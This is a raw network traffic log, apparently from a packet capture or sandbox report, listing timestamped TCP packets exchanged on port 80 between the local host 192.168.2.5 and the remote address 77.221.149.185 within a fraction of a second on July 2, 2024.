Jul 2, 2024 22:52:27.534815073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.534823895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.534833908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.534845114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.534854889 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.534872055 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.535018921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.535028934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.535062075 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.536134005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.536144018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.536153078 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.536196947 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.536215067 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.536269903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.536279917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.536288977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.536298990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.536309004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.536313057 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.536339045 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.536451101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.536493063 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.536535978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.536545992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.536555052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.536566019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.536578894 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.536600113 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.536773920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.536783934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.536793947 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.536808968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.536818027 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.536844015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.536853075 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.536854982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.536864996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.536875010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.536883116 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.536884069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.536894083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.536905050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.536912918 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.536931038 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.537390947 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.537401915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.537410975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.537426949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.537431002 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.537439108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.537448883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.537453890 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.537456989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.537467957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.537477016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.537478924 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.537486076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.537503958 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.537525892 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.537899971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.537910938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.537920952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.537930012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.537938118 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.537939072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.537952900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.537962914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.537964106 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.538000107 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.538012981 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.538151979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.538166046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.538189888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.538198948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.538207054 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.538208961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.538218975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.538228035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.538238049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.538255930 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.538288116 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.538907051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.538991928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.539001942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.539031982 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.539062023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.539071083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.539081097 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.539094925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.539110899 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.539132118 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.539246082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.539268970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.539278984 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.539288998 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.539319992 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.539380074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.539390087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.539428949 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.539470911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.539482117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.539519072 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.541738033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.541759968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.541774988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.541798115 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.541871071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.541882038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.541891098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.541901112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.541913033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.541913986 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.541944027 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.541951895 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.542098045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.542108059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.542119980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.542130947 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.542146921 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.542161942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.542177916 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.542193890 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.542222023 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.542381048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.542507887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.542521954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.542548895 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.542577982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.542587042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.542597055 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.542607069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.542615891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.542622089 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.542646885 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.542654991 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.560728073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.560780048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.560790062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.560831070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.560839891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.560848951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.560859919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.560909033 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.560909033 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.560909033 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.561077118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.561129093 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.622853994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.622926950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.622953892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.622966051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.622980118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.623087883 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.623089075 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.623107910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.623117924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.623127937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.623136997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.623145103 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.623147964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.623157978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.623177052 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.623203993 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.623361111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.623370886 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.623382092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.623392105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.623395920 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.623430967 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.623605967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.623615980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.623625994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.623634100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.623644114 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.623645067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.623653889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.623663902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.623672009 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.623672962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.623698950 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.625088930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.625098944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.625113964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.625125885 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.625166893 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.625230074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.625240088 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.625248909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.625258923 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.625284910 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.625309944 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.625364065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.625483990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.625494957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.625504017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.625514030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.625520945 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.625524998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.625535011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.625541925 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.625545025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.625560045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.625564098 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.625570059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.625582933 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.625616074 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.626267910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.626276970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.626287937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.626296043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.626300097 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.626307011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.626316071 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.626317024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.626331091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.626337051 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.626341105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.626351118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.626364946 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.626404047 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.626583099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.626593113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.626604080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.626615047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.626625061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.626627922 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.626645088 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.626761913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.626771927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.626782894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.626792908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.626802921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.626805067 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.626811981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.626822948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.626831055 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.626831055 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.626842022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.626852036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.626859903 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.626879930 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.627078056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.627089024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.627099037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.627108097 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.627115965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.627125978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.627126932 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.627135992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.627147913 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.627161980 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.627178907 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.627924919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.627964020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.627973080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.628010035 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.628072977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.628084898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.628093958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.628103971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.628117085 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.628127098 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.628236055 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.628246069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.628256083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.628266096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.628274918 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.628304958 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.628356934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.628366947 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.628372908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.628380060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.628405094 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.630465984 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.630511999 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.630522013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.630532980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.630572081 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.630606890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.630620956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.630631924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.630641937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.630651951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.630657911 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.630676031 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.630793095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.630801916 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.630830050 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.630853891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.630863905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.630873919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.630883932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.630893946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.630894899 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.630922079 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.630949020 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.631119013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.631129026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.631139040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.631164074 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.631239891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.631249905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.631258965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.631277084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.631282091 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.631308079 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.649590969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.649631023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.649646044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.649657965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.649669886 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.649759054 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.649759054 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.649770021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.649780035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.649810076 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.712025881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.712040901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.712050915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.712097883 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.712125063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.712135077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.712145090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.712155104 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.712166071 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.712204933 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.712234020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.712266922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.712271929 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.712275982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:27.712308884 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:27.712409973 CEST	80	49712	77.221.149.185	192.168.2.5
